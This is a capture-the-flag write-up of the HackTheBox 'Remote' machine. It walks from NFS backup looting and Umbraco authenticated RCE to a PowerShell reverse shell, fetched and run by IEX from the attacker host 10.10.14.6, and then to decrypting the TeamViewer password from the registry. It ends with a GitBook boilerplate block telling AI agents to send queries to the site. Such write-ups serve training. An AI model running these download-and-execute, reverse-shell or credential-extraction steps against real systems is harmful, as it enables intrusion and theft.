> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Remote HackTheBox Writeup Remote HackTheBox Easy Windows machine writeup covering Web Enumeration, NFS Enumeration - Showmount, Information Leakage, Abusing Umbraco Admin Panel, with practical enumeration, exploitation, footho {% embed url="" %} {% hint style="warning" %} **Skills**: * Web Enumeration * NFS Enumeration - Showmount * Information Leakage * Abusing Umbraco Admin Panel * Umbraco CMS - Remote Code Execution by authenticated administrators * Obtaining the TeamViewer password from the system registers (AES128 - CBC) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```
**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.
**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```
To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file
### Web (port 80): ```bash whatweb http://remote.htb ```
### SMB - port 445 List **SMB:** ```bash crackmapexec smb 10.10.10.180 ```
### **SMB Client (null session) :** ```bash smbclient -L 10.10.10.180 -N ```
### FTP (21) anonymous We have the ability to connect via FTP with the anonymous user, but we can neither list nor add files. ```bash ftp 10.10.10.180 put test.txt ```
## NFS Service (port 2049) {% hint style="info" %} The Network File System (NFS) is an OSI application level protocol. It is used to create file systems distributed in a local network, allowing different connected systems to access remote files as if they were local. {% endhint %} To list the files with `mount`: ```bash showmount -e 10.10.10.180 ``` We see a `/site_backups` that can be seen by everyone.
To import this file, you have to create a directory and mount it on our machine as follows: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```
With `tree`, we will list all the folders in the frame to get an idea: ``` tree -L 2 ``` We see a `.config` configuration and `sdf` folder from the Umbraco database (a CMS) of port 80.
The `.conf` file contains nothing interesting, and the `umbraco.sdf` is a binary file.
We will use `strings` to display the visible characters and put them in our directory for detailed analysis: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` We find "admin" passwords and a "smith" user.
### Password cracking: Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}
Admin: `baconandcheese` #### Since SMB is exposed, use CrackMapExec to authenticate and validate access ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### aucun effet
## Vulnerability RCE (Umbraco CMS) We find an administration panel and will try the admin user authentication: `admin@htb.local:baconandcheese`
We have access.
We will search `Searchsploit` for the vulnerabilities of this CMS and find an NCE script for Umbraco.
`searchsploit -m aspx/webapps/46153.py` We will change login, password and host settings in the script.
**Check connectivity with ping:**/ We will execute this command for the server, and we will listen with tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```
Once we see that we can execute commands, we will download the `PS.ps1` script to our team. {% embed url="" %} At the end of the script, we add the following line: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```
We will create a web server with the `PS.ps1` script: ```bash python3 -m http.server 80 ``` Then we will modify the command to point to our web server: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Finally, we listen to port 4444: ```bash rlwrap nc -nlvp 4444 ```
Access to `user.txt` file and finding that TeamViewer is installed
## Privilege Escalation: If you look at the tasks running, you can see TeamViewer version 7. ```powershell tasklist /svc ```
Searching the Metasploit scripts, we find one that can retrieve TeamViewer's password: ```powershell locate teamviewer | grep metasploit ```
When analyzing the script, you must first obtain the key (depending on the version) from the registry: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Next, the security properties should be examined, especially the AES password: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```
Put the following bytes into `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Script Python Automatisation: Here is the script that automates the whole process: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```
The password is `!R3m0te!`. We will check with CrackMapExec if the password is correct for the user `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```
We connect with Evil-WinRM, as the remote Windows administration service is active on port 5985: 
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
### Flag root Final :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.